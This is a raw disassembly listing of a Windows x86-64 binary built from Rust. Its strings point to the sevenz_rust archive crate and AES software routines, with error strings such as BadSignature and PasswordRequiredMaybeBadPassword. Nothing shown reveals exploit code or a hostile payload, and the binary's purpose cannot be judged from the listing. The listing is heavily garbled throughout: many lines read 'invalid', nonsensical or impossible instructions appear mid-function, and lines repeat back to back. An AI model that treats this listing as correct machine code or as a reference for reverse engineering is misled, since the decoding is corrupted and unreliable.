mov dword [rsp + 0x20], ecx
invalid
and byte [rbx + rcx*4 + 0x59], cl
or byte [rax - 0x39], cl
invalid
mov r11, qword [rcx + 8]
mov rdi, 0xffffffffffffffff
push qword [rcx]
ror byte [rbp + rcx*4 + 0x35], 0x2f
xor eax, 0xe6c2f
push qword [rcx]
ror byte [rbp + rcx*4 + 0x35], 0x2f
invalid
invalid
insb byte [rdi], dx
invalid
xor eax, 0xe6c2f
cmp rax, rsi
ja 0x140176a53
mov cl, byte [rbp + rax]
and cl, 0xfe
cmp cl, 0xe8
invalid
jne 0x140176980
call 0xc95fc799
mov rcx, rax
sub rcx, rdi
ror dword [rax + 0x29], 0xf9
xor r15d, r15d
cmp rcx, 3
ja 0x140176991
dec cl
shl r10d, cl
and r10d, 7
je 0x140176991
lea rcx, [0x14025d534]
cmp byte [r10 + rcx], 0
add byte [rcx - 0x80], al
cmp al, 0xa
add byte [rcx + rbp + 0x43], dh
movzx edx, byte [rdx + rsi]
cmp byte [rdx + rcx], 0
je 0x140176973
movzx edx, byte [r10 + r14]
mov rcx, rax
sub rcx, rdx
add rcx, 4
cmp rcx, r8
jae 0x140176a89
movzx ecx, byte [rbp + rcx]
test ecx, ecx
je 0x140176973
cmp ecx, 0xff
stc
inc dword [rax]
add byte [rax], al
jne 0x14017698e
lea r15d, [r10*2 + 1]
add byte [rax], al
jmp 0x140176a3f
mov r12, rax
mov r15d, r10d
xlatb
xlatb
mov rax, rdi
jmp 0x140176a42
mov r15d, r10d
movzx edx, byte [rbp + rax + 4]
test edx, edx
je 0x1401769a6
add al, 0x85
sal byte [rsp + rcx - 0x7f], cl
cli
inc dword [rax]
add byte [rax], al
invalid
cmp edx, 0xff
add byte [rdi], cl
test dword [rcx + 0x4c000000], edx
jne 0x140176a37
lea r12, [rax + 4]
lea esp, [rax + 4]
movzx ecx, byte [rax + rbp + 2]
shl ecx, 8
movzx r10d, byte [rax + rbp + 1]
push rsp
sub byte [rcx], al
movzx edi, byte [rax + rbp + 3]
shl edi, 0x10
invalid
jl 0x1401769e4
add eax, ecx
out 0x10, eax
invalid
shl edx, 0x18
or edx, r10d
or edx, edx
or edx, edx
ror byte [rcx], cl
retf 0xfa09
or edx, ecx
or edx, edi
lea ecx, [r11 + rax]
mov r13d, ecx
neg r13d
test r9b, r9b
mov edi, r15d
cmovne r13d, ecx
add edx, r13d
test r15d, r15d
test edi, edi
test edi, edi
je 0x140176a1a
mov r10b, byte [rdi + r14]
shl r10b, 3
shl dl, 3
mov cl, 0x18
sub cl, r10b
ror dword [rcx - 0x7f042c2d], 1
sti
invalid
je 0x140176a03
ror dword [rcx - 0x7f042c2d], 1
sti
push qword [rdi + rax + 0xf]
mov dh, 0xcb
movzx ecx, bl
test ecx, ecx
jne 0x140176a1a
neg r10b
and r10b, 0x18
mov ebx, 0xffffffff
invalid
invalid
invalid
inc dword [rcx + rcx*4 - 0x2f]
shl ebx, cl
xor edx, ebx
not edx
jmp 0x1401769de
mov byte [rbp + rax + 1], dl
mov byte [rbp + rax + 2], dh
mov ecx, edx
shr ecx, 0x10
push rsp
add eax, 0x5748801
add cl, byte [rcx + 0x10e9c1d1]
mov byte [rbp + rax + 3], cl
shl edx, 7
add eax, 0x7e2c103
sar edx, 0x1f
mov byte [rbp + rax + 4], dl
jmp 0x140176a42
lea r15d, [r15*2 + 1]
cmp al, 0x7d
add dword [rax], eax
add byte [rax], al
mov r12, rax
mov rdi, rax
inc r12
invalid
mov rax, r12
mov r10d, r15d
jmp 0x14017690d
invalid
mov rdx, rax
sub rdx, rdi
sub edx, edi
sub edx, edi
lea ecx, [rdx - 1]
shl r10d, cl
loop 0x140176a91
leave
loop 0x140176a91
leave
cmp rdx, 4
cmovb ecx, r10d
mov rdx, qword [rsp + 0x20]
mov dword [rdx + 0x10], ecx
add r11, rax
mov qword [rdx + 8], r11
mov dword [rdx + 8], ebx
mov dword [rdx + 8], ebx
add rsp, 0x28
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
lea rax, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_sevenz_rust_0.6.0_src_bcjx86.rs
mov rdx, r8
invalid
mov edx, eax
mov r8, rax
call fcn.1401c6eb0
int3
sub esp, 0x70
mov r8, rdx
mov rdx, rcx
lea rsi, [rsp + 0x28]
mov rcx, rsi
call fcn.140176252
mov rsi, qword [rsi]
cmp rsi, 2
jne 0x140176ac7
lea rcx, [rsp + 0x30]
call fcn.14001ca7a
cmp esi, 2
setne al
add rsp, 0x70
pop rsi
ret
invalid
invalid
mov rdx, qword [rsi + 8]
call fcn.1400373d1
mov rcx, qword [rsi + 0x20]
mov ecx, dword [rsi + 0x20]
mov ecx, dword [rsi + 0x20]
add rsp, 0x38
pop rsi
pop rbp
jmp fcn.140051da9
push rsp
and al, 0x10
push rbp
push rsi
sub rsp, 0x28
in al, dx
sub byte [rax - 0x73], cl
push 0x30
in al, dx
sub byte [rax - 0x73], cl
push 0x30
mov rsi, qword [rbp - 8]
clc
mov rcx, qword [rsi]
mov rdx, qword [rsi + 8]
call fcn.1400373d1
mov word [rax], cs
in al, dx
dec dword [rax - 0x75]
and al, r13b
pop rbx
mov dl, 0xed
call qword [rax + 0x28c48348]
mov word [rax], cs
in al, dx
dec dword [rax - 0x75]
and al, r13b
pop rbx
mov dl, 0xed
call qword [rax + 0x28c48348]
pop rsi
pop rbp
ret
add rcx, r8
jmp rcx
ror byte [rbp + rcx*4 + 0x4c], 0x24
invalid
mov qword [rsp + 0x20], rax
lea rax, str.BadSignature
add eax, 0xe6ca2
mov r8d, 0xc
jmp 0x140176e8e
add rax, 8
lea r9, [rsp + 0x60]
mov qword [r9], rax
lea rax, fcn.140009390
insd dword [rdi], dx
invalid
add byte [rax - 0x77], cl
and al, 0x20
lea rax, case.0x14018de40.36
add eax, 0xebc39
insd dword [rdi], dx
invalid
mov r8d, 0xb
jmp 0x140176e8e
add rax, 8
lea rcx, fcn.140009390
lea ecx, [0x14025da48]
lea ecx, [0x14025da48]
mov qword [rsp + 0x50], rcx
mov qword [rsp + 0x48], r8
lea rcx, str.actaul_kb
add byte [rax - 0x77], cl
and al, 0x38
add byte [rax - 0x77], cl
and al, 0x38
lea rcx, fcn.140009390
mov qword [rsp + 0x30], rcx
and al, 0x30
and al, 0x30
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x40], 9
mov qword [rsp + 0x20], 6
lea rax, [0x14025da01]
lea r9, [0x14025da0e]
or eax, 0xe6ded
mov r8d, 0xd
jmp case.0x14017617f.21
invalid
lea eax, [rsp + 0x60]
mov qword [r8], rcx
add rax, 8
lea rcx, fcn.140009390
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], r8
lea rcx, fcn.14001ca7a
mov qword [rsp + 0x20], rcx
lea r9, [0x14025d8ef]
lea ecx, [0x14025d8ef]
lea ecx, [0x14025d8ef]
mov r8d, 2
jmp case.0x14017617f.17
lea edx, [0x14025d9d2]
mov r8d, 0x13
jmp 0x140176ed3
add eax, 0xe6bdc
mov qword [rsp + 0x20], rax
lea rax, [0x14025d98f]
add eax, 0xe6cbf
mov r8d, 0x15
jmp 0x140176e8e
and byte [rax - 0x75], cl
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
adc eax, 0xe6bd2
mov r8d, 0x1a
jmp 0x140176ed3
lea edx, str.PasswordRequiredMaybeBadPassword
mov r8d, 0x10
jmp 0x140176ed3
and al, 0x50
mov qword [rsp + 0x48], r8
mov ecx, 5
mov qword [rsp + 0x40], rcx
lea r8, str.minor
mov qword [rsp + 0x38], r8
lea r8, fcn.140009390
mov qword [rsp + 0x30], r8
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea rax, str.UnsupportedVersionmajor
lea r9, [0x14025d872]
mov r8d, 0x12
mov rcx, rdx
mov rdx, rax
call fcn.14002b490
jmp 0x140176e99
insb byte [rdi], dx
invalid
and al, 0x30
mov qword [rsp + 0x28], r8
lea rcx, fcn.14001ca7a
mov qword [rsp + 0x20], rcx
lea r9, str.FileOpen
mov r8d, 8
mov rcx, rdx
mov rdx, r9
mov r9, rax
call fcn.14002b760
jmp 0x140176e99
lea ecx, [rsp + 0x60]
mov qword [r9], rax
lea rax, fcn.140009390
mov qword [rsp + 0x20], rax
and byte [rax - 0x73], cl
add eax, 0xe6b84
mov r8d, 0x1c
mov eax, 0x1c
jmp 0x140176e8e
mov rcx, rdx
mov rdx, rax
call fcn.14002b6a0
nop
add rsp, 0x68
ret
add rsp, 0x68
jmp rax
and al, ch
jmp qword [rsi + 0xf]
add al, 0x66
movq mm2, mm6
pslldq xmm2, 8
pxor xmm2, xmm0
movdqa xmm0, xmm6
pslldq xmm0, 0xc
pxor xmm0, xmm1
pxor xmm0, xmm2
ret 0xf66
out dx, eax
invalid
lea rdx, [rbp + 0x8a0]
movdqa xmmword [rdx], xmm0
movdqa xmm6, xmm0
mov rcx, rsi
call fcn.1400034dd
jb 0x140181489
call 0x1b0277b6d
invalid
stosb byte [rdi], al
movdqa xmmword [rbp + 0x900], xmm7
movdqa xmm1, xmm7
pslldq xmm1, 4
movdqa xmm2, xmm7
movq mm2, mm7
ret 0xf66
jb 0x140181489
call 0x1b0277b6d
invalid
movq mm2, mm7
pslldq xmm2, 8
pxor xmm2, xmm0
movdqa xmm0, xmm7
pslldq xmm0, 0xc
pxor xmm0, xmm1
shl dword [rsi + 0xf], 0xef
ret 0xf66
out dx, eax
invalid
lea rdx, [rbp + 0x890]
movdqa xmmword [rdx], xmm0
movdqa xmm7, xmm0
mov rcx, rsi
call fcn.1400034e8
pshufd xmm0, xmmword [rsi], 0xff
pshufw mm0, qword [rsi], 0xff
or byte [rsi + 0xf], ah
out dx, eax
shl byte [rsi + 0xf], 1
outsd dx, dword [rsi]
invalid
shl dword [rsi + 0xf], 0xef
ret 0xf66
pshufw mm0, qword [rsi], 0xff
movdqa xmm3, xmm6
movdqa xmmword [rbp + 0x8c0], xmm6
movdqa xmm1, xmm6
pslldq xmm1, 4
add al, 0x66
movq mm2, mm6
add al, 0x66
movq mm2, mm6
pslldq xmm2, 8
pxor xmm2, xmm0
pslldq xmm6, 0xc
pxor xmm6, xmm1
pxor xmm6, xmm2
pxor xmm6, xmm3
lea rdx, [rbp + 0x880]
movdqa xmmword [rdx], xmm6
mov rcx, rsi
call fcn.1400034dd
pshufd xmm0, xmmword [rsi], 0xaa
movdqa xmm3, xmm7
movdqa xmmword [rbp + 0x8d0], xmm7
movdqa xmm1, xmm7
pslldq xmm1, 4
movdqa xmm2, xmm7
pslldq xmm2, 8
pxor xmm2, xmm0
pslldq xmm7, 0xc
pxor xmm7, xmm1
pxor xmm7, xmm2
pxor xmm7, xmm3
lea rdx, [rbp + 0x870]
movdqa xmmword [rdx], xmm7
mov rcx, rsi
call fcn.1400034f3
pshufd xmm0, xmmword [rsi], 0xff
movdqa xmm1, xmm6
pslldq xmm1, 4
movdqa xmm2, xmm6
pslldq xmm2, 8
pxor xmm2, xmm0
movdqa xmm8, xmm6
pslldq xmm8, 0xc
pxor xmm8, xmm1
pxor xmm8, xmm2
pxor xmm8, xmm6
lea rdx, [rbp + 0x860]
movdqa xmmword [rdx], xmm8
mov rcx, rsi
call fcn.1400034dd
pshufd xmm0, xmmword [rsi], 0xaa
movdqa xmm1, xmm7
pslldq xmm1, 4
movdqa xmm2, xmm7
pslldq xmm2, 8
pxor xmm2, xmm0
movdqa xmm9, xmm7
pslldq xmm9, 0xc
pxor xmm9, xmm1
pxor xmm9, xmm2
pxor xmm9, xmm7
lea rdx, [rbp + 0x850]
movdqa xmmword [rdx], xmm9
mov rcx, rsi
call fcn.1400034fe
pshufd xmm0, xmmword [rsi], 0xff
movdqa xmm1, xmm8
pslldq xmm1, 4
movdqa xmm2, xmm8
pslldq xmm2, 8
pxor xmm2, xmm0
movdqa xmm10, xmm8
pslldq xmm10, 0xc
pxor xmm10, xmm1
pxor xmm10, xmm2
pxor xmm10, xmm8
lea rdx, [rbp + 0x840]
movdqa xmmword [rdx], xmm10
mov rcx, rsi
call fcn.1400034dd
pshufd xmm0, xmmword [rsi], 0xaa
movdqa xmm1, xmm9
pslldq xmm1, 4
movdqa xmm2, xmm9
pslldq xmm2, 8
pxor xmm2, xmm0
movdqa xmm11, xmm9
pslldq xmm11, 0xc
pxor xmm11, xmm1
pxor xmm11, xmm2
pxor xmm11, xmm9
lea rdx, [rbp + 0x830]
movdqa xmmword [rdx], xmm11
mov rcx, rsi
call fcn.140003509
pshufd xmm0, xmmword [rsi], 0xff
movdqa xmm1, xmm10
pslldq xmm1, 4
movdqa xmm2, xmm10
pslldq xmm2, 8
pxor xmm2, xmm0
movdqa xmm12, xmm10
pslldq xmm12, 0xc
pxor xmm12, xmm1
pxor xmm12, xmm2
pxor xmm12, xmm10
lea rdx, [rbp + 0x820]
movdqa xmmword [rdx], xmm12
mov rcx, rsi
call fcn.1400034dd
pshufd xmm0, xmmword [rsi], 0xaa
movdqa xmm1, xmm11
pslldq xmm1, 4
movdqa xmm2, xmm11
pslldq xmm2, 8
pxor xmm2, xmm0
movdqa xmm13, xmm11
pslldq xmm13, 0xc
pxor xmm13, xmm1
pxor xmm13, xmm2
pxor xmm13, xmm11
lea rdx, [rbp + 0x910]
movdqa xmmword [rdx], xmm13
mov rcx, rsi
call fcn.140003514
pshufd xmm0, xmmword [rsi], 0xff
movdqa xmm1, xmm12
pslldq xmm1, 4
movdqa xmm2, xmm12
pslldq xmm2, 8
pxor xmm2, xmm0
movdqa xmm14, xmm12
pslldq xmm14, 0xc
pxor xmm14, xmm1
pxor xmm14, xmm2
pxor xmm14, xmm12
lea rdx, [rbp + 0x8e0]
movdqa xmmword [rdx], xmm14
mov rcx, rsi
call fcn.1400034dd
pshufd xmm0, xmmword [rsi], 0xaa
movdqa xmm1, xmm13
pslldq xmm1, 4
movdqa xmm2, xmm13
pslldq xmm2, 8
pxor xmm2, xmm0
movdqa xmm15, xmm13
pslldq xmm15, 0xc
pxor xmm15, xmm1
pxor xmm15, xmm2
pxor xmm15, xmm13
movdqa xmmword [rsi], xmm15
lea rsi, [rbp + 0x370]
lea rdx, [rbp + 0x460]
mov rcx, rsi
call fcn.14000351f
pshufd xmm0, xmmword [rsi], 0xff
movdqa xmm1, xmm14
pslldq xmm1, 8
pxor xmm1, xmm0
movdqa xmm0, xmm14
pslldq xmm0, 4
movdqa xmm2, xmm14
pslldq xmm2, 0xc
pxor xmm2, xmm0
pxor xmm2, xmm1
movaps xmm0, xmmword [rbp + 0x8f0]
movaps xmmword [rsi], xmm0
movaps xmm0, xmmword [rbp + 0x900]
movaps xmmword [rsi + 0x10], xmm0
movaps xmm0, xmmword [rbp + 0x8c0]
movaps xmmword [rsi + 0x20], xmm0
movaps xmm0, xmmword [rbp + 0x8d0]
movaps xmmword [rsi + 0x30], xmm0
movdqa xmmword [rsi + 0x40], xmm6
movdqa xmmword [rsi + 0x50], xmm7
movdqa xmmword [rsi + 0x60], xmm8
movdqa xmmword [rsi + 0x70], xmm9
movdqa xmmword [rsi + 0x80], xmm10
movdqa xmmword [rsi + 0x90], xmm11
movdqa xmmword [rsi + 0xa0], xmm12
movdqa xmmword [rsi + 0xb0], xmm13
pxor xmm2, xmm14
movdqa xmmword [rsi + 0xc0], xmm14
movdqa xmmword [rsi + 0xd0], xmm15
movdqa xmmword [rsi + 0xe0], xmm2
lea rcx, [rbp + 0x550]
mov rdx, rsi
call fcn.140181e02
lea rdi, [rbp + 0x460]
mov r8d, pe_nt_image_headers64
mov rcx, rdi
mov rdx, rsi
call sub.VCRUNTIME140.dll_memcpy
lea rcx, [rbp - 0x50]
mov r8d, 0x1e0
mov rdx, rdi
jmp 0x140181b7d
mov rcx, rbx
mov rdx, rsi
call fcn.140002012
lea r15, [rsi + 8]
add rsi, 0x10
mov rcx, rbx
mov rdx, r15
mov r8, rsi
lea r9, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_aes_0.8.4_src_soft_fixslice64.rs
call fcn.140002657
mov rcx, rax
call fcn.140002078
mov rcx, rbx
mov rdx, r15
mov r8, rsi
lea r9, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_aes_0.8.4_src_soft_fixslice64.rs
call fcn.140002657
mov rcx, rax
call fcn.14000242a
mov rcx, rbx
mov rdx, r15
mov r8, rsi
mov r9, r12
call fcn.140002657
cmp rdi, rdx
jae 0x140181d1d
xor byte [rax + rdi*8 + 3], 0xf0
mov rcx, rbx
mov rdx, r15
mov r8d, r13d
call fcn.14000253e
cmp rdi, 6
je 0x140181a37
mov rcx, rbx
mov rdx, r15
call fcn.140002012
lea rsi, [r15 + 8]
add r15, 0x10
mov rcx, rbx
invalid
mov rdx, rsi
mov r8, r15
lea r9, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_aes_0.8.4_src_soft_fixslice64.rs
call fcn.140002657
mov rcx, rax
call fcn.140002078
mov rcx, rbx
mov ecx, ebx
mov rdx, rsi
mov r8, r15
lea r9, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_aes_0.8.4_src_soft_fixslice64.rs
call fcn.140002657
mov rcx, rax
call fcn.14000242a
call 0x119a16323
invalid
call 0x119a16323
mov rdx, rsi
mov r8d, r14d
call fcn.14000253e
inc rdi
jmp 0x140181954
push 3
pop rsi
push 8
or byte [rcx + 0x5f], al
movabs rbx, 0xf000ff000f0000
movabs r14, 0xf0f00000f0f0000
sub rsi, 1
jb 0x140181b1c
add dword [rdi], ecx
invalid
lea rax, [r15 + 0x20]
mov qword [rbp + 0x8f0], rax
lea r12, [r15 + 8]
lea rdi, [rbp + 0x460]
invalid
add al, 0
add byte [rax - 0x77], cl
stc
mov rdx, r15
mov r8, r12
lea r9, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_aes_0.8.4_src_soft_fixslice64.rs
call fcn.140002657
mov rcx, rax
call fcn.1400024a7
sbb byte [rdx], cl
call 0x1afa56891
adc byte [rax - 0x77], cl
stc
sbb byte [rdx], cl
call 0x1afa56891
adc byte [rax - 0x77], cl
stc
mov rdx, r12
mov r8, r13
lea r9, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_aes_0.8.4_src_soft_fixslice64.rs
call fcn.140002657
dec dword [rax - 0x77]
shr eax, 0x53
or ch, al
dec dword [rcx - 0x7d]
invalid
sbb byte [rax - 0x77], cl
stc
mov rdx, r13
mov r8, r15
lea r9, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_aes_0.8.4_src_soft_fixslice64.rs
lea ecx, [0x1401ce660]
lea ecx, [0x1401ce660]
call fcn.140002657
shl rdx, 3
xor ecx, ecx
cmp rdx, rcx
je 0x140181b10
mov r8, qword [rax + rcx]
mov eax, dword [rax + rcx]
mov r9, r8
shr r9, 8
xor r9, r8
and r9, rbx
xor r8, r9
shl r9, 8
xor r9, r8
mov r8, r9
shr r8, 4
add al, 0x4d
xor eax, ecx
xor eax, ecx
and r8, r14
xor r9, r8
shl r8, 4
xor r8, r9
mov qword [rax + rcx], r8
add rcx, 8
add ecx, 8
add ecx, 8
jmp 0x140181acf
mov r15, qword [rbp + 0x8f0]
jmp case.0x1401494f4.400
invalid
dec dword [rax - 0x73]
lea esp, [rax + 0x6a000007]
or byte [rdx - 0x18], bl
jl 0x140181b32
lea rcx, [rbp + 0x7a0]
add byte [rax], al
push 8
pop rdx
call fcn.1400024a7
push 0x10
pop rsi
call 0x19e28862d
lea rdi, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_aes_0.8.4_src_soft_fixslice64.rs
lea rbx, [rbp + 0x460]
mov r15, qword [rbp + 0x900]
mov ebp, 0x900
retf 4
mov ebp, 0x900
cmp rsi, 0x80
je 0x140181b6c
lea rdx, [rsi - 8]
push rsi
clc
mov rcx, rbx
mov r8, rsi
mov r9, rdi
mov ecx, edi
call fcn.140002657
mov rcx, rax
call fcn.14000242a
add rsi, 8
jmp 0x140181b43
lea rcx, [rbp - 0x50]
lea rdx, [rbp + 0x460]
mov r8d, 0x3c0
call sub.VCRUNTIME140.dll_memcpy
lea rcx, [rbp + 0x910]
add byte [rax], al
add byte [rax], al
call fcn.140062e8d
mov al, byte [0x1402c6092]
cmp al, 1
call qword [rdx]
out dx, al
dec dword [rdx + 0x1444fe05]
add byte [rcx + rax], bh
jne 0x140181bad
lea rcx, [rbp - 0x50]
lea rdx, [rbp + 0x910]
mov r8, rdx
call fcn.1401809c9
jmp 0x140181bec
lea rsi, [rbp + 0x370]
mov rcx, rsi
call fcn.140001c7a
lea rdx, [rbp + 0x910]
mov rcx, rsi
call fcn.140062e94
lea rcx, [rbp + 0x460]
lea rdx, [rbp - 0x50]
mov r8, rsi
call fcn.1400026b7
movups xmm0, xmmword [rbp + 0x460]
movaps xmmword [rbp + 0x910], xmm0
movaps xmm0, xmmword [rbp + 0x910]
lea rcx, [rbp + 0x8e0]
movaps xmmword [rcx], xmm0
call fcn.14017e4fe
mov rsi, qword [rbp + 0x8e0]
mov rdi, qword [rbp + 0x8e8]
mov al, byte [0x1402c6093]
cmp al, 0xff
jne 0x140181c5b
lea rcx, [rbp + 0x370]
call fcn.14000348e
lea rcx, [rbp + 0x460]
call fcn.1400034b0
mov ebx, dword [rbp + 0x378]
mov eax, ebx
not eax
test eax, 0xc000000
jne 0x140181c4f
call case.0x14002e130.483
and eax, 2
shr eax, 1
jmp 0x140181c51
xor eax, eax
shr bl, 1
and bl, al
mov byte [0x1402c6093], bl
mov rax, rdi
shr rax, 0x3f
mov rcx, rax
shl rcx, 0x3e
movabs rdx, 0x8000000000000000
and rdx, rdi
or rdx, rcx
shl rax, 0x39
mov rbx, rdi
shld rbx, rsi, 1
or rax, rdx
xor rbx, rax
shld rsi, rdi, 1
lea rdx, [rbp - 0x50]
mov r8d, 0x3c0
mov rcx, r15
mov ecx, edi
mov ecx, edi
call sub.VCRUNTIME140.dll_memcpy
mov qword [r15 + 0x3c0], rsi
mov qword [r15 + 0x3c8], rbx
xorps xmm0, xmm0
movaps xmmword [r15 + 0x3d0], xmm0
movaps xmm6, xmmword [rbp + 0x930]
movaps xmm7, xmmword [rbp + 0x940]
movaps xmm8, xmmword [rbp + 0x950]
or dword [rax], eax
add byte [rdi + rcx + 0x28], al
lea esp, [rax + 9]
add byte [rax], al
or dword [rax], eax
add byte [rdi + rcx + 0x28], al
lea esp, [rax + 9]
add byte [rax], al
movaps xmm10, xmmword [rbp + 0x970]
movaps xmm11, xmmword [rbp + 0x980]
movaps xmm12, xmmword [rbp + 0x990]
movaps xmm13, xmmword [rbp + 0x9a0]
movaps xmm14, xmmword [rbp + 0x9b0]
movaps xmm15, xmmword [rbp + 0x9c0]
ror byte [rcx], 0
invalid
ror byte [rcx], 0
add byte [rax - 0x7f], cl
invalid
add byte [rax], al
add rsp, 0xa58
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_aes_0.8.4_src_soft_fixslice64.rs
mov rcx, rdi
call fcn.1401c6eb0
int3
push rsi
push rdi
push rbx
sub rsp, 0xd8
lea rbp, [rdx + 0x80]
add byte [rsi + 0x44], ah
movq qword [rsp + 0x30], mm7
add byte [rsi + 0x44], ah
movq qword [rsp + 0x30], mm7
movdqa xmmword [rsp + 0x40], xmm14
movdqa xmmword [rsp + 0x50], xmm13
movdqa xmmword [rsp + 0x60], xmm12
movdqa xmmword [rsp + 0x70], xmm11
jo 0x140181dd6
movq qword [rsp + 0x80], mm2
jo 0x140181dd6
movq qword [rsp + 0x80], mm2
movdqa xmmword [rsp + 0x90], xmm9
movdqa xmmword [rsp + 0xa0], xmm8
and al, 0x90
add byte [rax], al
add byte [rsi + 0x44], ah
movq qword [rsp + 0xa0], mm0
movdqa xmmword [rsp + 0xb0], xmm7
movdqa xmmword [rsp + 0xc0], xmm6
mov al, byte [0x1402c6092]
movaps xmm6, xmmword [rsp + 0xc0]
mov ah, 0x24
rol byte [rax], 0
add byte [rdi], cl
sub byte [rsp + 0xb0], bh
mov ah, 0x24
rol byte [rax], 0
add byte [rdi], cl
sub byte [rsp + 0xb0], bh
movaps xmm8, xmmword [rsp + 0xa0]
sub byte [rsp + 0xa0], al
movaps xmm9, xmmword [rsp + 0x90]
movaps xmm10, xmmword [rsp + 0x80]
movaps xmm11, xmmword [rsp + 0x70]
movaps xmm12, xmmword [rsp + 0x60]
movaps xmm13, xmmword [rsp + 0x50]
movaps xmm14, xmmword [rsp + 0x40]
movaps xmm15, xmmword [rsp + 0x30]
add rsp, 0xd8
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
bnd call fcn.1401c6700
int3
xor ecx, ecx
call fcn.140181f52
lea rdx, fcn.140009390
add rsp, 0x28
ret
adc dword [rax], eax
movups xmmword [rax + 0x10], xmm0
movups xmmword [rax + 0x20], xmm0
movups xmmword [rax + 0x30], xmm0
lea rdx, vtable..0
add rsp, 0x28
ret
je 0x140182045
and byte [rax - 0x77], cl
int1
call fcn.140182eb4
mov ecx, 0x70
add byte [rdx + 8], bh
call fcn.140181f52
mov rbx, rax
mov ecx, 0xe
add byte [rax], al
add byte [rax - 0x77], cl
invalid
rep movsq qword [rdi], qword [rsi]
movsq qword [rdi], qword [rsi]
lea rdx, fcn.140009390
jmp 0x1401820f6
mov rax, rbx
add rsp, 0x100
pop rbx
pop rdi
pop rsi
ret
invalid
imul eax, dword [0x138a1a12a], 0x40ba
add byte [rcx + rbp - 6], cl
mov rax, r15
mov edx, 0x40
sub rdx, r15
mov ecx, 0
cmovae rcx, rdx
mov edx, eax
ret 0xe283
add dword [rcx + 1], ecx
xlatb
inc r15
lea r8, [rax + rdx]
cmp rcx, rdx
jbe 0x14018558e
lea r9, [rax + 1]
test al, 1
mov rax, r9
jne 0x140185546
mov rax, r8
shr rax, 1
imul rdx, rax, 0x3c0
add rdx, rsi
mov r8b, byte [rsp + r8 + 0x30]
add al, 0x30
mov rcx, r14
call fcn.14003217d
mov rcx, rdi
mov rdx, rbx
fimul dword [rbp - 0x77]
invalid
call fcn.140032329
mov rcx, rbx
mov rdx, rdi
call fcn.14003241f
xchg ebx, eax
invalid
invalid
invalid
jmp 0x140185523
fimul dword [rbp - 0x77]
invalid
lea rdi, [rsp + 0xc0]
lea rbx, [rsp + 0x98]
lea r14, [rsp + 0x2f0]
mov rcx, r14
int1
mov esp, 0xc024
add byte [rax - 0x73], cl
pushfq
and al, 0x98
add byte [rax], al
add byte [rbp + rcx*4 - 0x4c], cl
and al, 0xf0
add al, byte [rax]
add byte [rcx + rcx*4 - 0xf], cl
int1
mov rdx, rdi
mov r8, rbx
call fcn.140031823
lea r15, [rsp + 0x1b0]
mov rcx, r15
mov rdx, rdi
mov r8, rbx
call fcn.140031873
invalid
dec dword [rax - 0x73]
mov esp, 0x25024
add byte [rax - 0x77], cl
stc
mov rdx, r15
call fcn.140031927
lea rbx, [rsp + 0x110]
mov rcx, rbx
mov rdx, r14
mov r8, rdi
call fcn.140031b9d
lea rdi, [rsp + 0x250]
add al, byte [rax]
add byte [rax - 0x77], cl
stc
mov rdx, rbx
invalid
call fcn.1400315c6
movups xmm0, xmmword [rdi]
movups xmm1, xmmword [rdi + 0x10]
mov rax, qword [rsp + 0x28]
movups xmmword [rax + 0x30], xmm1
movups xmmword [rax + 0x20], xmm0
and byte [rax - 0x7f], cl
invalid
sbb byte [rbx], al
add byte [rax], al
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
invalid
invalid
adc dword [rax], eax
add byte [rsp + rdx + 0x4c], dh
lea edi, [rdx + 0x70]
cmp qword [rdx + 0x70], 0
jne 0x1401856cc
mov al, byte [rdx + 0x30]
cmp al, 0x23
jb 0x1401856b5
jmp 0x1401856cc
movzx eax, al
movabs rcx, 0x70e1ca497
sbb al, 0xe
invalid
add byte [rax], al
add byte [rax + 0xf], cl
invalid
ror dword [rdi], 0x82
wait
add al, 0
invalid
wait
add al, 0
add byte [rax - 0x75], cl
mov rax, qword [rdx + 0x48]
mov rcx, qword [rdx + 0x40]
mov rax, qword [rdx + 0x48]
mov rax, qword [rax + 0x18]
mov bl, 1
mov byte [rbp + 0x1186], bl
mov byte [rbp + 0x1185], bl
call rax
test rax, rax
je 0x140185b63
mov qword [rbp + 0x1008], rax
mov qword [rbp + 0x1000], rdx
mov rdx, qword [rbp + 0x1128]
mov rcx, qword [rdx + 0x40]
mov rax, qword [rdx + 0x48]
lea rdi, [rdx + 0x39]
mov rax, qword [rax + 0x30]
mov dl, 1
mov byte [rbp + 0x1184], dl
mov byte [rbp + 0x1183], dl
mov byte [rbp + 0x1182], dl
add byte [rax], al
mov rdx, rdi
call rax
test rax, rax
je 0x140185b79
mov qword [rbp + 0x1100], rax
mov qword [rbp + 0x10f8], rdx
mov rdx, qword [rbp + 0x1128]
xchg ebp, eax
sub byte [rcx], dl
add byte [rax], al
add byte [rax - 0x75], cl
mov rax, qword [rdx + 0x48]
mov rax, qword [rdx + 0x48]
mov rax, qword [rdx + 0x48]
add rdx, 0x3a
mov rax, qword [rax + 0x28]
mov r8b, 1
mov byte [rbp + 0x1181], r8b
mov byte [rbp + 0x1180], r8b
mov byte [rbp + 0x1180], al
mov byte [rbp + 0x117f], r8b
mov byte [rbp + 0x117e], r8b
call rax
test rax, rax
je 0x140185b87
mov qword [rbp + 0x1018], rax
mov qword [rbp + 0x1010], rdx
mov rdx, qword [rbp + 0x1128]
sub byte [rcx], dl
